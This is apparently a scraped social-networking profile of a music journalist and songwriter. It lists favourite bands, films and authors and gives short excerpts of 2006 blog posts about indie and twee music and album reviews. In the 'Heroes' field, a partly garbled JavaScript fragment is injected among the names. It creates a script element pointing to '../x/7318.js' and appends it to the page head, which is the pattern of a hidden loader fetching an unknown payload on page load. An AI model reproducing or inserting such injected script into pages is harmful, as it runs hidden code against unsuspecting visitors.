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xryano

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About Me


I'm a journalist.
sometimes i write songs.

My Interests

Writing. Reading. Journalism. Music. Hardcore. Punk. indie pop. twee. folk. No Wave. SST. Dischord.

I'd like to meet:

Anyone. Just message me.

Music:


all time:
The Mountain Goats
Sonic Youth
Weston
Pedro the Lion
Bruce Springsteen
Owen/American Football/Mike Kinsella
The New Amsterdams
Bright Eyes
Black Flag
Bob Dylan
Elliott Smith
Pavement

Movies:

anything by Harmony Korine or John Cassavetes. 8 1/2 by Fellini. The Dreamers by Bertolucci. Jules et Jim by Truffaut. Breathless by Jean-Luc Godard. Grand Illusion by Renior. The Wild Bunch by Sam Peckinpah. The French Connection by William Friedkin. Blow Up by Michelangelo Antonioni. Notorious by Hitchcock. The Royal Tennenbaums by Wes Anderson. The Maltese Falcon by John Huston. Being John Malkovich by Spike Jonze. All the Indiana Jones movies.

Television:

The office. the wire.

Books:

Gay Talese, Leon Dash, Ted Conover, George Orwell, Joan Didion, Andre Bazin, Charles Bukowski, Ron Suskind

Heroes:

Thurston Moore, John Darnielle .."var s=document·('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"

My Blog

ahh the days of my youth

Remember when we were all children of Twee. When Tullycraft made everything better? Wait that was just yesterday. fuck. But hey it's all good. See how many references you can spot. Do you know the dif...
Posted by xryano on Tue, 28 Nov 2006 12:33:00 PST

Top 5 Rainy Monday songs.

Top 5 Rainy Monday Songs Now I know I usually only write this thing every Tuesday and Thursday but there isn't much else to do on a dreary Monday. On days like this my true inner music ...
Posted by xryano on Mon, 13 Nov 2006 10:40:00 PST

Here's Johnny...Marr that is

It was just announced on Pitchfork that Modest Mouse has a new video , from what I understand the first one to feature their new guitarist, none other than former Smiths guitarist Johnny Marr. Enough...
Posted by xryano on Thu, 09 Nov 2006 11:03:00 PST

STYLE - How Chuck Ragan Saved My Life

Chuck Ragan is one of those guys I wrote about last week. One of those punk rock guys that knows how to mix in a little country twang and acoustic folk. He was the guitarist and one of the singers for...
Posted by xryano on Mon, 06 Nov 2006 09:31:00 PST

reconize...

So guys here's the deal. I write a music column every tuesday and thursday for Philadelphia Style Magazine's website. And you're going to read it. You're going to read it because 1.) you are probably ...
Posted by xryano on Fri, 03 Nov 2006 12:38:00 PST

An Albatross Review for PopMatters

Here is my review of the new An Albatross album.http://www.popmatters.com/pm/music/reviews/an-albatros s-blessphemy/An Albatross Blessphemy (of the Peace-Beast Feastgiver and the Bear Warp Kumi...
Posted by xryano on Fri, 14 Jul 2006 03:48:00 PST

Morrissey is not god anymore

Here is the review I did for PopMatters.com of the new Morrissey album. Morrissey Ringleader of the Tormentors (Attack/Sanctuary) Rating: 3 US release date: 4 ...
Posted by xryano on Thu, 25 May 2006 10:43:00 PST

PopMatters

    I'm back writing for Pop Matters again so check it out if you get the chance.www.popmatters.comBetter and smarter than Pitchfork. get into it.ryan
Posted by xryano on Tue, 25 Apr 2006 12:50:00 PST

why i love twee

because its amazingly sweet. get into it.tullycraftbeat happeningthe pastelswolfieand many many more
Posted by xryano on Sun, 19 Mar 2006 06:48:00 PST

current reading

Uncentering the Earth by William T. VollmannThe Soccer War by Ryszard KapuscinskiManhattan Transfer by John Dos PassosTruth and Beauty by Ann PatchettRolling Nowhere by Ted ConoverLove Conquers All by...
Posted by xryano on Wed, 15 Mar 2006 08:46:00 PST